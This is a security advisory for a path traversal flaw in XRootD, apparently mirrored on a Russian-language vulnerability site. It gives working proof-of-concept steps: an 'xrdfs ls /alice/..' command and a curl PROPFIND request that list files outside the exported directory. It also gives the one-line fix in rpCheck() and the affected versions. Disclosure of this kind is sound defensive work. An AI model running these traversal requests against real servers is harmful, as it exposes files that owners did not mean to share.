GHSA-vj8v-p5vw-m6v5
GHSA-vj8v-p5vw-m6v5 · xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern
Здесь приведены факты из открытых источников об уязвимостях. Перед обновлением ознакомьтесь с исходным сообщением.
## Summary A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests. This bypass ignores the `all.export` restriction. ## Affected component `src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer. ## PoC ### Configuration - **Configuration file:** ```conf xrd.port 1094 # Exposing only /alice/ oss.localroot /srv/xrootd/data/ all.export /alice/ # HTTP xrd.protocol http:1094 libXrdHttp.so # Logs / monitoring all.adminpath /var/spool/xrootd all.pidpath /var/run/xrootd ``` - **Filesystem layout on the server:** ``` /srv/xrootd/data/ ├── alice/ ← only exported directory ├── bob/ ← not exported └── secret.txt ← not exported ``` - **Starting the server:** `xrootd -c /etc/xrootd/xrootd.cfg` ### Steps to reproduce **Normal behavior (access outside export is denied):** ```bash $ xrdfs root://<xrootd-server> ls / [ERROR] Server responded with an error: [3010] Stating path '/' is disallowed. ``` **Bypass via trailing `..`:** ```bash $ xrdfs root://<xrootd-server>ls /alice/.. /alice/../alice /alice/../bob /alice/../secret.txt ``` **Also exploitable via HTTP PROPFIND:** ```bash curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \ --path-as-is \ -H "Depth: 1" ``` Returns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`). **However, file download via this path traversal is blocked:** ```bash $ xrdcp root://<xrootd-server>/alice/../secret.txt . [0B/0B][100%][==================================================][0B/s] Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source) ``` ## Impact An attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`). File download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration). This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself. ## Suggested fix In `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change: ```cpp // Before if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1; // After if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1; ```
CVSS 5.3 · Средний · Есть исправление
- Опубликовано
- Обновлено
Стек: python
Затронутые продукты и версии
xrootd PyPI
- Версии
- 4.10.0
- 4.11.0
- 4.11.1
- 4.11.2
- 4.11.3
- 4.12.0
- 4.12.2
- 4.12.3
- 4.12.4
- 4.12.5
- 4.12.6
- 4.12.7
- 4.8.4
- 4.8.5
- 4.9.0
- 4.9.1
- 5.0.0
- 5.0.1
- 5.0.2
- 5.0.3
- 5.1.1
- 5.2.0
- 5.3.0
- 5.3.1
- 5.3.2
- 5.3.3
- 5.3.4
- 5.4.0
- 5.4.1
- 5.4.2
- 5.4.3
- 5.5.0
- 5.5.1
- 5.5.2
- 5.5.3
- 5.5.4
- 5.5.5
- 5.6.0
- 5.6.1
- 5.6.2
- 5.6.3
- 5.6.4
- 5.6.5
- 5.6.6
- 5.6.7
- 5.6.8
- 5.6.9
- 5.7.0
- 5.7.1
- 5.7.2
- 5.7.3
- 5.8.0
- 5.8.1
- 5.8.2
- 5.8.3
- 5.8.4
- 5.9.0
- 5.9.1
- Затронутые диапазоны версий
- ECOSYSTEM: < 5.9.2
Обновитесь до 5.9.2